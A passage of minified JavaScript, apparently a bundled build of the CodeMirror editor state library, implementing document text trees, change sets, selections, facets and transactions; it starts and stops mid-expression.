e.length==1&&!e[0]?z.empty:e.length<=32?new le(e):dt.from(le.split(e,[]))}}class le extends z{constructor(e,t=nb(e)){super(),this.text=e,this.length=t}get lines(){return this.text.length}get children(){return null}lineInner(e,t,n,r){for(let s=0;;s++){let o=this.text[s],l=r+o.length;if((t?n:l)>=e)return new rb(r,l,n,o);r=l+1,n++}}decompose(e,t,n,r){let s=e<=0&&t>=this.length?this:new le(Ua(this.text,e,t),Math.min(t,this.length)-Math.max(0,e));if(r&1){let o=n.pop(),l=vr(s.text,o.text.slice(),0,s.length);if(l.length<=32)n.push(new le(l,o.length+s.length));else{let a=l.length>>1;n.push(new le(l.slice(0,a)),new le(l.slice(a)))}}else n.push(s)}replace(e,t,n){if(!(n instanceof le))return super.replace(e,t,n);[e,t]=Vi(this,e,t);let r=vr(this.text,vr(n.text,Ua(this.text,0,e)),t),s=this.length+n.length-(t-e);return r.length<=32?new le(r,s):dt.from(le.split(r,[]),s)}sliceString(e,t=this.length,n=`
`){[e,t]=Vi(this,e,t);let r="";for(let s=0,o=0;s<=t&&o<this.text.length;o++){let l=this.text[o],a=s+l.length;s>e&&o&&(r+=n),e<a&&t>s&&(r+=l.slice(Math.max(0,e-s),t-s)),s=a+1}return r}flatten(e){for(let t of this.text)e.push(t)}scanIdentical(){return 0}static split(e,t){let n=[],r=-1;for(let s of e)n.push(s),r+=s.length+1,n.length==32&&(t.push(new le(n,r)),n=[],r=-1);return r>-1&&t.push(new le(n,r)),t}}class dt extends z{constructor(e,t){super(),this.children=e,this.length=t,this.lines=0;for(let n of e)this.lines+=n.lines}lineInner(e,t,n,r){for(let s=0;;s++){let o=this.children[s],l=r+o.length,a=n+o.lines-1;if((t?a:l)>=e)return o.lineInner(e,t,n,r);r=l+1,n=a+1}}decompose(e,t,n,r){for(let s=0,o=0;o<=t&&s<this.children.length;s++){let l=this.children[s],a=o+l.length;if(e<=a&&t>=o){let h=r&((o<=e?1:0)|(a>=t?2:0));o>=e&&a<=t&&!h?n.push(l):l.decompose(e-o,t-o,n,h)}o=a+1}}replace(e,t,n){if([e,t]=Vi(this,e,t),n.lines<this.lines)for(let r=0,s=0;r<this.children.length;r++){let o=this.children[r],l=s+o.length;if(e>=s&&t<=l){let a=o.replace(e-s,t-s,n),h=this.lines-o.lines+a.lines;if(a.lines<h>>4&&a.lines>h>>6){let c=this.children.slice();return c[r]=a,new dt(c,this.length-(t-e)+n.length)}return super.replace(s,l,a)}s=l+1}return super.replace(e,t,n)}sliceString(e,t=this.length,n=`
`){[e,t]=Vi(this,e,t);let r="";for(let s=0,o=0;s<this.children.length&&o<=t;s++){let l=this.children[s],a=o+l.length;o>e&&s&&(r+=n),e<a&&t>o&&(r+=l.sliceString(e-o,t-o,n)),o=a+1}return r}flatten(e){for(let t of this.children)t.flatten(e)}scanIdentical(e,t){if(!(e instanceof dt))return 0;let n=0,[r,s,o,l]=t>0?[0,0,this.children.length,e.children.length]:[this.children.length-1,e.children.length-1,-1,-1];for(;;r+=t,s+=t){if(r==o||s==l)return n;let a=this.children[r],h=e.children[s];if(a!=h)return n+a.scanIdentical(h,t);n+=a.length+1}}static from(e,t=e.reduce((n,r)=>n+r.length+1,-1)){let n=0;for(let d of e)n+=d.lines;if(n<32){let d=[];for(let p of e)p.flatten(d);return new le(d,t)}let r=Math.max(32,n>>5),s=r<<1,o=r>>1,l=[],a=0,h=-1,c=[];function f(d){let p;if(d.lines>s&&d instanceof dt)for(let g of d.children)f(g);else d.lines>o&&(a>o||!a)?(u(),l.push(d)):d instanceof le&&a&&(p=c[c.length-1])instanceof le&&d.lines+p.lines<=32?(a+=d.lines,h+=d.length+1,c[c.length-1]=new le(p.text.concat(d.text),p.length+1+d.length)):(a+d.lines>r&&u(),a+=d.lines,h+=d.length+1,c.push(d))}function u(){a!=0&&(l.push(c.length==1?c[0]:dt.from(c,h)),h=-1,a=c.length=0)}for(let d of e)f(d);return u(),l.length==1?l[0]:new dt(l,t)}}z.empty=new le([""],0);function nb(i){let e=-1;for(let t of i)e+=t.length+1;return e}function vr(i,e,t=0,n=1e9){for(let r=0,s=0,o=!0;s<i.length&&r<=n;s++){let l=i[s],a=r+l.length;a>=t&&(a>n&&(l=l.slice(0,n-r)),r<t&&(l=l.slice(t-r)),o?(e[e.length-1]+=l,o=!1):e.push(l)),r=a+1}return e}function Ua(i,e,t){return vr(i,[""],e,t)}class gn{constructor(e,t=1){this.dir=t,this.done=!1,this.lineBreak=!1,this.value="",this.nodes=[e],this.offsets=[t>0?1:(e instanceof le?e.text.length:e.children.length)<<1]}nextInner(e,t){for(this.done=this.lineBreak=!1;;){let n=this.nodes.length-1,r=this.nodes[n],s=this.offsets[n],o=s>>1,l=r instanceof le?r.text.length:r.children.length;if(o==(t>0?l:0)){if(n==0)return this.done=!0,this.value="",this;t>0&&this.offsets[n-1]++,this.nodes.pop(),this.offsets.pop()}else if((s&1)==(t>0?0:1)){if(this.offsets[n]+=t,e==0)return this.lineBreak=!0,this.value=`
`,this;e--}else if(r instanceof le){let a=r.text[o+(t<0?-1:0)];if(this.offsets[n]+=t,a.length>Math.max(0,e))return this.value=e==0?a:t>0?a.slice(e):a.slice(0,a.length-e),this;e-=a.length}else{let a=r.children[o+(t<0?-1:0)];e>a.length?(e-=a.length,this.offsets[n]+=t):(t<0&&this.offsets[n]--,this.nodes.push(a),this.offsets.push(t>0?1:(a instanceof le?a.text.length:a.children.length)<<1))}}}next(e=0){return e<0&&(this.nextInner(-e,-this.dir),e=this.value.length),this.nextInner(e,this.dir)}}class Df{constructor(e,t,n){this.value="",this.done=!1,this.cursor=new gn(e,t>n?-1:1),this.pos=t>n?e.length:0,this.from=Math.min(t,n),this.to=Math.max(t,n)}nextInner(e,t){if(t<0?this.pos<=this.from:this.pos>=this.to)return this.value="",this.done=!0,this;e+=Math.max(0,t<0?this.pos-this.to:this.from-this.pos);let n=t<0?this.pos-this.from:this.to-this.pos;e>n&&(e=n),n-=e;let{value:r}=this.cursor.next(e);return this.pos+=(r.length+e)*t,this.value=r.length<=n?r:t<0?r.slice(r.length-n):r.slice(0,n),this.done=!this.value,this}next(e=0){return e<0?e=Math.max(e,this.from-this.pos):e>0&&(e=Math.min(e,this.to-this.pos)),this.nextInner(e,this.cursor.dir)}get lineBreak(){return this.cursor.lineBreak&&this.value!=""}}class Rf{constructor(e){this.inner=e,this.afterBreak=!0,this.value="",this.done=!1}next(e=0){let{done:t,lineBreak:n,value:r}=this.inner.next(e);return t&&this.afterBreak?(this.value="",this.afterBreak=!1):t?(this.done=!0,this.value=""):n?this.afterBreak?this.value="":(this.afterBreak=!0,this.next()):(this.value=r,this.afterBreak=!1),this}get lineBreak(){return!1}}typeof Symbol<"u"&&(z.prototype[Symbol.iterator]=function(){return this.iter()},gn.prototype[Symbol.iterator]=Df.prototype[Symbol.iterator]=Rf.prototype[Symbol.iterator]=function(){return this});class rb{constructor(e,t,n,r){this.from=e,this.to=t,this.number=n,this.text=r}get length(){return this.to-this.from}}function Vi(i,e,t){return e=Math.max(0,Math.min(i.length,e)),[e,Math.max(e,Math.min(i.length,t))]}function pe(i,e,t=!0,n=!0){return tb(i,e,t,n)}function sb(i){return i>=56320&&i<57344}function ob(i){return i>=55296&&i<56320}function Ie(i,e){let t=i.charCodeAt(e);if(!ob(t)||e+1==i.length)return t;let n=i.charCodeAt(e+1);return sb(n)?(t-55296<<10)+(n-56320)+65536:t}function _l(i){return i<=65535?String.fromCharCode(i):(i-=65536,String.fromCharCode((i>>10)+55296,(i&1023)+56320))}function pt(i){return i<65536?1:2}const Lo=/\r\n?|\n/;var De=(function(i){return i[i.Simple=0]="Simple",i[i.TrackDel=1]="TrackDel",i[i.TrackBefore=2]="TrackBefore",i[i.TrackAfter=3]="TrackAfter",i})(De||(De={}));class vt{constructor(e){this.sections=e}get length(){let e=0;for(let t=0;t<this.sections.length;t+=2)e+=this.sections[t];return e}get newLength(){let e=0;for(let t=0;t<this.sections.length;t+=2){let n=this.sections[t+1];e+=n<0?this.sections[t]:n}return e}get empty(){return this.sections.length==0||this.sections.length==2&&this.sections[1]<0}iterGaps(e){for(let t=0,n=0,r=0;t<this.sections.length;){let s=this.sections[t++],o=this.sections[t++];o<0?(e(n,r,s),r+=s):r+=o,n+=s}}iterChangedRanges(e,t=!1){Do(this,e,t)}get invertedDesc(){let e=[];for(let t=0;t<this.sections.length;){let n=this.sections[t++],r=this.sections[t++];r<0?e.push(n,r):e.push(r,n)}return new vt(e)}composeDesc(e){return this.empty?e:e.empty?this:If(this,e)}mapDesc(e,t=!1){return e.empty?this:Ro(this,e,t)}mapPos(e,t=-1,n=De.Simple){let r=0,s=0;for(let o=0;o<this.sections.length;){let l=this.sections[o++],a=this.sections[o++],h=r+l;if(a<0){if(h>e)return s+(e-r);s+=l}else{if(n!=De.Simple&&h>=e&&(n==De.TrackDel&&r<e&&h>e||n==De.TrackBefore&&r<e||n==De.TrackAfter&&h>e))return null;if(h>e||h==e&&t<0&&!l)return e==r||t<0?s:s+a;s+=a}r=h}if(e>r)throw new RangeError(`Position ${e} is out of range for changeset of length ${r}`);return s}touchesRange(e,t=e){for(let n=0,r=0;n<this.sections.length&&r<=t;){let s=this.sections[n++],o=this.sections[n++],l=r+s;if(o>=0&&r<=t&&l>=e)return r<e&&l>t?"cover":!0;r=l}return!1}toString(){let e="";for(let t=0;t<this.sections.length;){let n=this.sections[t++],r=this.sections[t++];e+=(e?" ":"")+n+(r>=0?":"+r:"")}return e}toJSON(){return this.sections}static fromJSON(e){if(!Array.isArray(e)||e.length%2||e.some(t=>typeof t!="number"))throw new RangeError("Invalid JSON representation of ChangeDesc");return new vt(e)}static create(e){return new vt(e)}}class he extends vt{constructor(e,t){super(e),this.inserted=t}apply(e){if(this.length!=e.length)throw new RangeError("Applying change set to a document with the wrong length");return Do(this,(t,n,r,s,o)=>e=e.replace(r,r+(n-t),o),!1),e}mapDesc(e,t=!1){return Ro(this,e,t,!0)}invert(e){let t=this.sections.slice(),n=[];for(let r=0,s=0;r<t.length;r+=2){let o=t[r],l=t[r+1];if(l>=0){t[r]=l,t[r+1]=o;let a=r>>1;for(;n.length<a;)n.push(z.empty);n.push(o?e.slice(s,s+o):z.empty)}s+=o}return new he(t,n)}compose(e){return this.empty?e:e.empty?this:If(this,e,!0)}map(e,t=!1){return e.empty?this:Ro(this,e,t,!0)}iterChanges(e,t=!1){Do(this,e,t)}get desc(){return vt.create(this.sections)}filter(e){let t=[],n=[],r=[],s=new On(this);e:for(let o=0,l=0;;){let a=o==e.length?1e9:e[o++];for(;l<a||l==a&&s.len==0;){if(s.done)break e;let c=Math.min(s.len,a-l);ke(r,c,-1);let f=s.ins==-1?-1:s.off==0?s.ins:0;ke(t,c,f),f>0&&_t(n,t,s.text),s.forward(c),l+=c}let h=e[o++];for(;l<h;){if(s.done)break e;let c=Math.min(s.len,h-l);ke(t,c,-1),ke(r,c,s.ins==-1?-1:s.off==0?s.ins:0),s.forward(c),l+=c}}return{changes:new he(t,n),filtered:vt.create(r)}}toJSON(){let e=[];for(let t=0;t<this.sections.length;t+=2){let n=this.sections[t],r=this.sections[t+1];r<0?e.push(n):r==0?e.push([n]):e.push([n].concat(this.inserted[t>>1].toJSON()))}return e}static of(e,t,n){let r=[],s=[],o=0,l=null;function a(c=!1){if(!c&&!r.length)return;o<t&&ke(r,t-o,-1);let f=new he(r,s);l=l?l.compose(f.map(l)):f,r=[],s=[],o=0}function h(c){if(Array.isArray(c))for(let f of c)h(f);else if(c instanceof he){if(c.length!=t)throw new RangeError(`Mismatched change set length (got ${c.length}, expected ${t})`);a(),l=l?l.compose(c.map(l)):c}else{let{from:f,to:u=f,insert:d}=c;if(f>u||f<0||u>t)throw new RangeError(`Invalid change range ${f} to ${u} (in doc of length ${t})`);let p=d?typeof d=="string"?z.of(d.split(n||Lo)):d:z.empty,g=p.length;if(f==u&&g==0)return;f<o&&a(),f>o&&ke(r,f-o,-1),ke(r,u-f,g),_t(s,r,p),o=u}}return h(e),a(!l),l}static empty(e){return new he(e?[e,-1]:[],[])}static fromJSON(e){if(!Array.isArray(e))throw new RangeError("Invalid JSON representation of ChangeSet");let t=[],n=[];for(let r=0;r<e.length;r++){let s=e[r];if(typeof s=="number")t.push(s,-1);else{if(!Array.isArray(s)||typeof s[0]!="number"||s.some((o,l)=>l&&typeof o!="string"))throw new RangeError("Invalid JSON representation of ChangeSet");if(s.length==1)t.push(s[0],0);else{for(;n.length<r;)n.push(z.empty);n[r]=z.of(s.slice(1)),t.push(s[0],n[r].length)}}}return new he(t,n)}static createSet(e,t){return new he(e,t)}}function ke(i,e,t,n=!1){if(e==0&&t<=0)return;let r=i.length-2;r>=0&&t<=0&&t==i[r+1]?i[r]+=e:r>=0&&e==0&&i[r]==0?i[r+1]+=t:n?(i[r]+=e,i[r+1]+=t):i.push(e,t)}function _t(i,e,t){if(t.length==0)return;let n=e.length-2>>1;if(n<i.length)i[i.length-1]=i[i.length-1].append(t);else{for(;i.length<n;)i.push(z.empty);i.push(t)}}function Do(i,e,t){let n=i.inserted;for(let r=0,s=0,o=0;o<i.sections.length;){let l=i.sections[o++],a=i.sections[o++];if(a<0)r+=l,s+=l;else{let h=r,c=s,f=z.empty;for(;h+=l,c+=a,a&&n&&(f=f.append(n[o-2>>1])),!(t||o==i.sections.length||i.sections[o+1]<0);)l=i.sections[o++],a=i.sections[o++];e(r,h,s,c,f),r=h,s=c}}}function Ro(i,e,t,n=!1){let r=[],s=n?[]:null,o=new On(i),l=new On(e);for(let a=-1;;){if(o.done&&l.len||l.done&&o.len)throw new Error("Mismatched change set lengths");if(o.ins==-1&&l.ins==-1){let h=Math.min(o.len,l.len);ke(r,h,-1),o.forward(h),l.forward(h)}else if(l.ins>=0&&(o.ins<0||a==o.i||o.off==0&&(l.len<o.len||l.len==o.len&&!t))){let h=l.len;for(ke(r,l.ins,-1);h;){let c=Math.min(o.len,h);o.ins>=0&&a<o.i&&o.len<=c&&(ke(r,0,o.ins),s&&_t(s,r,o.text),a=o.i),o.forward(c),h-=c}l.next()}else if(o.ins>=0){let h=0,c=o.len;for(;c;)if(l.ins==-1){let f=Math.min(c,l.len);h+=f,c-=f,l.forward(f)}else if(l.ins==0&&l.len<c)c-=l.len,l.next();else break;ke(r,h,a<o.i?o.ins:0),s&&a<o.i&&_t(s,r,o.text),a=o.i,o.forward(o.len-c)}else{if(o.done&&l.done)return s?he.createSet(r,s):vt.create(r);throw new Error("Mismatched change set lengths")}}}function If(i,e,t=!1){let n=[],r=t?[]:null,s=new On(i),o=new On(e);for(let l=!1;;){if(s.done&&o.done)return r?he.createSet(n,r):vt.create(n);if(s.ins==0)ke(n,s.len,0,l),s.next();else if(o.len==0&&!o.done)ke(n,0,o.ins,l),r&&_t(r,n,o.text),o.next();else{if(s.done||o.done)throw new Error("Mismatched change set lengths");{let a=Math.min(s.len2,o.len),h=n.length;if(s.ins==-1){let c=o.ins==-1?-1:o.off?0:o.ins;ke(n,a,c,l),r&&c&&_t(r,n,o.text)}else o.ins==-1?(ke(n,s.off?0:s.len,a,l),r&&_t(r,n,s.textBit(a))):(ke(n,s.off?0:s.len,o.off?0:o.ins,l),r&&!o.off&&_t(r,n,o.text));l=(s.ins>a||o.ins>=0&&o.len>a)&&(l||n.length>h),s.forward2(a),o.forward(a)}}}}class On{constructor(e){this.set=e,this.i=0,this.next()}next(){let{sections:e}=this.set;this.i<e.length?(this.len=e[this.i++],this.ins=e[this.i++]):(this.len=0,this.ins=-2),this.off=0}get done(){return this.ins==-2}get len2(){return this.ins<0?this.len:this.ins}get text(){let{inserted:e}=this.set,t=this.i-2>>1;return t>=e.length?z.empty:e[t]}textBit(e){let{inserted:t}=this.set,n=this.i-2>>1;return n>=t.length&&!e?z.empty:t[n].slice(this.off,e==null?void 0:this.off+e)}forward(e){e==this.len?this.next():(this.len-=e,this.off+=e)}forward2(e){this.ins==-1?this.forward(e):e==this.ins?this.next():(this.ins-=e,this.off+=e)}}class oi{constructor(e,t,n){this.from=e,this.to=t,this.flags=n}get anchor(){return this.flags&32?this.to:this.from}get head(){return this.flags&32?this.from:this.to}get empty(){return this.from==this.to}get assoc(){return this.flags&8?-1:this.flags&16?1:0}get bidiLevel(){let e=this.flags&7;return e==7?null:e}get goalColumn(){let e=this.flags>>6;return e==16777215?void 0:e}map(e,t=-1){let n,r;return this.empty?n=r=e.mapPos(this.from,t):(n=e.mapPos(this.from,1),r=e.mapPos(this.to,-1)),n==this.from&&r==this.to?this:new oi(n,r,this.flags)}extend(e,t=e,n=0){if(e<=this.anchor&&t>=this.anchor)return v.range(e,t,void 0,void 0,n);let r=Math.abs(e-this.anchor)>Math.abs(t-this.anchor)?e:t;return v.range(this.anchor,r,void 0,void 0,n)}eq(e,t=!1){return this.anchor==e.anchor&&this.head==e.head&&this.goalColumn==e.goalColumn&&(!t||!this.empty||this.assoc==e.assoc)}toJSON(){return{anchor:this.anchor,head:this.head}}static fromJSON(e){if(!e||typeof e.anchor!="number"||typeof e.head!="number")throw new RangeError("Invalid JSON representation for SelectionRange");return v.range(e.anchor,e.head)}static create(e,t,n){return new oi(e,t,n)}}class v{constructor(e,t){this.ranges=e,this.mainIndex=t}map(e,t=-1){return e.empty?this:v.create(this.ranges.map(n=>n.map(e,t)),this.mainIndex)}eq(e,t=!1){if(this.ranges.length!=e.ranges.length||this.mainIndex!=e.mainIndex)return!1;for(let n=0;n<this.ranges.length;n++)if(!this.ranges[n].eq(e.ranges[n],t))return!1;return!0}get main(){return this.ranges[this.mainIndex]}asSingle(){return this.ranges.length==1?this:new v([this.main],0)}addRange(e,t=!0){return v.create([e].concat(this.ranges),t?0:this.mainIndex+1)}replaceRange(e,t=this.mainIndex){let n=this.ranges.slice();return n[t]=e,v.create(n,this.mainIndex)}toJSON(){return{ranges:this.ranges.map(e=>e.toJSON()),main:this.mainIndex}}static fromJSON(e){if(!e||!Array.isArray(e.ranges)||typeof e.main!="number"||e.main>=e.ranges.length)throw new RangeError("Invalid JSON representation for EditorSelection");return new v(e.ranges.map(t=>oi.fromJSON(t)),e.main)}static single(e,t=e){return new v([v.range(e,t)],0)}static create(e,t=0){if(e.length==0)throw new RangeError("A selection needs at least one range");for(let n=0,r=0;r<e.length;r++){let s=e[r];if(s.empty?s.from<=n:s.from<n)return v.normalized(e.slice(),t);n=s.to}return new v(e,t)}static cursor(e,t=0,n,r){return oi.create(e,e,(t==0?0:t<0?8:16)|(n==null?7:Math.min(6,n))|(r??16777215)<<6)}static range(e,t,n,r,s){let o=(n??16777215)<<6|(r==null?7:Math.min(6,r));return!s&&e!=t&&(s=t<e?1:-1),t<e?oi.create(t,e,48|o):oi.create(e,t,(s?s<0?8:16:0)|o)}static normalized(e,t=0){let n=e[t];e.sort((r,s)=>r.from-s.from),t=e.indexOf(n);for(let r=1;r<e.length;r++){let s=e[r],o=e[r-1];if(s.empty?s.from<=o.to:s.from<o.to){let l=o.from,a=Math.max(s.to,o.to);r<=t&&t--,e.splice(--r,2,s.anchor>s.head?v.range(a,l):v.range(l,a))}}return new v(e,t)}}function Nf(i,e){for(let t of i.ranges)if(t.to>e)throw new RangeError("Selection points outside of document")}let Wl=0;class T{constructor(e,t,n,r,s){this.combine=e,this.compareInput=t,this.compare=n,this.isStatic=r,this.id=Wl++,this.default=e([]),this.extensions=typeof s=="function"?s(this):s}get reader(){return this}static define(e={}){return new T(e.combine||(t=>t),e.compareInput||((t,n)=>t===n),e.compare||(e.combine?(t,n)=>t===n:$l),!!e.static,e.enables)}of(e){return new Sr([],this,0,e)}compute(e,t){if(this.isStatic)throw new Error("Can't compute a static facet");return new Sr(e,this,1,t)}computeN(e,t){if(this.isStatic)throw new Error("Can't compute a static facet");return new Sr(e,this,2,t)}from(e,t){return t||(t=n=>n),this.compute([e],n=>t(n.field(e)))}}function $l(i,e){return i==e||i.length==e.length&&i.every((t,n)=>t===e[n])}class Sr{constructor(e,t,n,r){this.dependencies=e,this.facet=t,this.type=n,this.value=r,this.id=Wl++}dynamicSlot(e){var t;let n=this.value,r=this.facet.compareInput,s=this.id,o=e[s]>>1,l=this.type==2,a=!1,h=!1,c=[];for(let f of this.dependencies)f=="doc"?a=!0:f=="selection"?h=!0:(((t=e[f.id])!==null&&t!==void 0?t:1)&1)==0&&c.push(e[f.id]);return{create(f){return f.values[o]=n(f),1},update(f,u){if(a&&u.docChanged||h&&(u.docChanged||u.selection)||Io(f,c)){let d=n(f);if(l?!Ka(d,f.values[o],r):!r(d,f.values[o]))return f.values[o]=d,1}return 0},reconfigure:(f,u)=>{let d,p=u.config.address[s];if(p!=null){let g=Nr(u,p);if(this.dependencies.every(m=>m instanceof T?u.facet(m)===f.facet(m):m instanceof Ae?u.field(m,!1)==f.field(m,!1):!0)||(l?Ka(d=n(f),g,r):r(d=n(f),g)))return f.values[o]=g,0}else d=n(f);return f.values[o]=d,1}}}}function Ka(i,e,t){if(i.length!=e.length)return!1;for(let n=0;n<i.length;n++)if(!t(i[n],e[n]))return!1;return!0}function Io(i,e){let t=!1;for(let n of e)mn(i,n)&1&&(t=!0);return t}function lb(i,e,t){let n=t.map(a=>i[a.id]),r=t.map(a=>a.type),s=n.filter(a=>!(a&1)),o=i[e.id]>>1;function l(a){let h=[];for(let c=0;c<n.length;c++){let f=Nr(a,n[c]);if(r[c]==2)for(let u of f)h.push(u);else h.push(f)}return e.combine(h)}return{create(a){for(let h of n)mn(a,h);return a.values[o]=l(a),1},update(a,h){if(!Io(a,s))return 0;let c=l(a);return e.compare(c,a.values[o])?0:(a.values[o]=c,1)},reconfigure(a,h){let c=Io(a,n),f=h.config.facets[e.id],u=h.facet(e);if(f&&!c&&$l(t,f))return a.values[o]=u,0;let d=l(a);return e.compare(d,u)?(a.values[o]=u,0):(a.values[o]=d,1)}}}const jn=T.define({static:!0});class Ae{constructor(e,t,n,r,s){this.id=e,this.createF=t,this.updateF=n,this.compareF=r,this.spec=s,this.provides=void 0}static define(e){let t=new Ae(Wl++,e.create,e.update,e.compare||((n,r)=>n===r),e);return e.provide&&(t.provides=e.provide(t)),t}create(e){let t=e.facet(jn).find(n=>n.field==this);return(t?.create||this.createF)(e)}slot(e){let t=e[this.id]>>1;return{create:n=>(n.values[t]=this.create(n),1),update:(n,r)=>{let s=n.values[t],o=this.updateF(s,r);return this.compareF(s,o)?0:(n.values[t]=o,1)},reconfigure:(n,r)=>{let s=n.facet(jn),o=r.facet(jn),l;return(l=s.find(a=>a.field==this))&&l!=o.find(a=>a.field==this)?(n.values[t]=l.create(n),1):r.config.address[this.id]!=null?(n.values[t]=r.field(this),0):(n.values[t]=this.create(n),1)}}}init(e){return[this,jn.of({field:this,create:e})]}get extension(){return this}}const ni={lowest:4,low:3,default:2,high:1,highest:0};function on(i){return e=>new Bf(e,i)}const yi={highest:on(ni.highest),high:on(ni.high),default:on(ni.default),low:on(ni.low),lowest:on(ni.lowest)};class Bf{constructor(e,t){this.inner=e,this.prec=t}}class ps{of(e){return new No(this,e)}reconfigure(e){return ps.reconfigure.of({compartment:this,extension:e})}get(e){return e.config.compartments.get(this)}}class No{constructor(e,t){this.compartment=e,this.inner=t}}class Ir{constructor(e,t,n,r,s,o){for(this.base=e,this.compartments=t,this.dynamicSlots=n,this.address=r,this.staticValues=s,this.facets=o,this.statusTemplate=[];this.statusTemplate.length<n.length;)this.statusTemplate.push(0)}staticFacet(e){let t=this.address[e.id];return t==null?e.default:this.staticValues[t>>1]}static resolve(e,t,n){let r=[],s=Object.create(null),o=new Map;for(let u of ab(e,t,o))u instanceof Ae?r.push(u):(s[u.facet.id]||(s[u.facet.id]=[])).push(u);let l=Object.create(null),a=[],h=[];for(let u of r)l[u.id]=h.length<<1,h.push(d=>u.slot(d));let c=n?.config.facets;for(let u in s){let d=s[u],p=d[0].facet,g=c&&c[u]||[];if(d.every(m=>m.type==0))if(l[p.id]=a.length<<1|1,$l(g,d))a.push(n.facet(p));else{let m=p.combine(d.map(b=>b.value));a.push(n&&p.compare(m,n.facet(p))?n.facet(p):m)}else{for(let m of d)m.type==0?(l[m.id]=a.length<<1|1,a.push(m.value)):(l[m.id]=h.length<<1,h.push(b=>m.dynamicSlot(b)));l[p.id]=h.length<<1,h.push(m=>lb(m,p,d))}}let f=h.map(u=>u(l));return new Ir(e,o,f,l,a,s)}}function ab(i,e,t){let n=[[],[],[],[],[]],r=new Map;function s(o,l){let a=r.get(o);if(a!=null){if(a<=l)return;let h=n[a].indexOf(o);h>-1&&n[a].splice(h,1),o instanceof No&&t.delete(o.compartment)}if(r.set(o,l),Array.isArray(o))for(let h of o)s(h,l);else if(o instanceof No){if(t.has(o.compartment))throw new RangeError("Duplicate use of compartment in extensions");let h=e.get(o.compartment)||o.inner;t.set(o.compartment,h),s(h,l)}else if(o instanceof Bf)s(o.inner,o.prec);else if(o instanceof Ae)n[l].push(o),o.provides&&s(o.provides,l);else if(o instanceof Sr)n[l].push(o),o.facet.extensions&&s(o.facet.extensions,ni.default);else{let h=o.extension;if(!h)throw new Error(`Unrecognized extension value in extension set (${o}). This sometimes happens because multiple instances of @codemirror/state are loaded, breaking instanceof checks.`);s(h,l)}}return s(i,ni.default),n.reduce((o,l)=>o.concat(l))}function mn(i,e){if(e&1)return 2;let t=e>>1,n=i.status[t];if(n==4)throw new Error("Cyclic dependency between fields and/or facets");if(n&2)return n;i.status[t]=4;let r=i.computeSlot(i,i.config.dynamicSlots[t]);return i.status[t]=2|r}function Nr(i,e){return e&1?i.config.staticValues[e>>1]:i.values[e>>1]}const Ff=T.define(),Bo=T.define({combine:i=>i.some(e=>e),static:!0}),_f=T.define({combine:i=>i.length?i[0]:void 0,static:!0}),Wf=T.define(),$f=T.define(),Hf=T.define(),Vf=T.define({combine:i=>i.length?i[0]:!1});class St{constructor(e,t){this.type=e,this.value=t}static define(){return new hb}}class hb{of(e){return new St(this,e)}}class cb{constructor(e){this.map=e}of(e){return new N(this,e)}}class N{constructor(e,t){this.type=e,this.value=t}map(e){let t=this.type.map(this.value,e);return t===void 0?void 0:t==this.value?this:new N(this.type,t)}is(e){return this.type==e}static define(e={}){return new cb(e.map||(t=>t))}static mapEffects(e,t){if(!e.length)return e;let n=[];for(let r of e){let s=r.map(t);s&&n.push(s)}return n}}N.reconfigure=N.define();N.appendConfig=N.define();class ce{constructor(e,t,n,r,s,o){this.startState=e,this.changes=t,this.selection=n,this.effects=r,this.annotations=s,this.scrollIntoView=o,this._doc=null,this._state=null,n&&Nf(n,t.newLength),s.some(l=>l.type==ce.time)||(this.annotations=s.concat(ce.time.of(Date.now())))}static create(e,t,n,r,s,o){return new ce(e,t,n,r,s,o)}get newDoc(){return this._doc||(this._doc=this.changes.apply(this.startState.doc))}get newSelection(){return this.selection||this.startState.selection.map(this.changes)}get state(){return this._state||this.startState.applyTransaction(this),this._state}annotation(e){for(let t of this.annotations)if(t.type==e)return t.value}get docChanged(){return!this.changes.empty}get reconfigured(){return this.startState.config!=this.state.config}isUserEvent(e){let t=this.annotation(ce.userEvent);return!!(t&&(t==e||t.length>e.length&&t.slice(0,e.length)==e&&t[e.length]=="."))}}ce.time=St.define();ce.userEvent=St.define();ce.addToHistory=St.define();ce.remote=St.define();function fb(i,e){let t=[];for(let n=0,r=0;;){let s,o;if(n<i.length&&(r==e.length||e[r]>=i[n]))s=i[n++],o=i[n++];else if(r<e.length)s=e[r++],o=e[r++];else return t;!t.length||t[t.length-1]<s?t.push(s,o):t[t.length-1]<o&&(t[t.length-1]=o)}}function Qf(i,e,t){var n;let r,s,o;return t?(r=e.changes,s=he.empty(e.changes.length),o=i.changes.compose(e.changes)):(r=e.changes.map(i.changes),s=i.changes.mapDesc(e.changes,!0),o=i.changes.compose(r)),{changes:o,selection:e.selection?e.selection.map(s):(n=i.selection)===null||n===void 0?void 0:n.map(r),effects:N.mapEffects(i.effects,r).concat(N.mapEffects(e.effects,s)),annotations:i.annotations.length?i.annotations.concat(e.annotations):e.annotations,scrollIntoView:i.scrollIntoView||e.scrollIntoView}}function Fo(i,e,t){let n=e.selection,r=Di(e.annotations);return e.userEvent&&(r=r.concat(ce.userEvent.of(e.userEvent))),{changes:e.changes instanceof he?e.changes:he.of(e.changes||[],t,i.facet(_f)),selection:n&&(n instanceof v?n:v.single(n.anchor,n.head)),effects:Di(e.effects),annotations:r,scrollIntoView:!!e.scrollIntoView}}function zf(i,e,t){let n=Fo(i,e.length?e[0]:{},i.doc.length);e.length&&e[0].filter===!1&&(t=!1);for(let s=1;s<e.length;s++){e[s].filter===!1&&(t=!1);let o=!!e[s].sequential;n=Qf(n,Fo(i,e[s],o?n.changes.newLength:i.doc.length),o)}let r=ce.create(i,n.changes,n.selection,n.effects,n.annotations,n.scrollIntoView);return db(t?ub(r):r)}function ub(i){let e=i.startState,t=!0;for(let r of e.facet(Wf)){let s=r(i);if(s===!1){t=!1;break}Array.isArray(s)&&(t=t===!0?s:fb(t,s))}if(t!==!0){let r,s;if(t===!1)s=i.changes.invertedDesc,r=he.empty(e.doc.length);else{let o=i.changes.filter(t);r=o.changes,s=o.filtered.mapDesc(o.changes).invertedDesc}i=ce.create(e,r,i.selection&&i.selection.map(s),N.mapEffects(i.effects,s),i.annotations,i.scrollIntoView)}let n=e.facet($f);for(let r=n.length-1;r>=0;r--){let s=n[r](i);s instanceof ce?i=s:Array.isArray(s)&&s.length==1&&s[0]instanceof ce?i=s[0]:i=zf(e,Di(s),!1)}return i}function db(i){let e=i.startState,t=e.facet(Hf),n=i;for(let r=t.length-1;r>=0;r--){let s=t[r](i);s&&Object.keys(s).length&&(n=Qf(n,Fo(e,s,i.changes.newLength),!0))}return n==i?i:ce.create(e,i.changes,i.selection,n.effects,n.annotations,n.scrollIntoView)}const pb=[];function 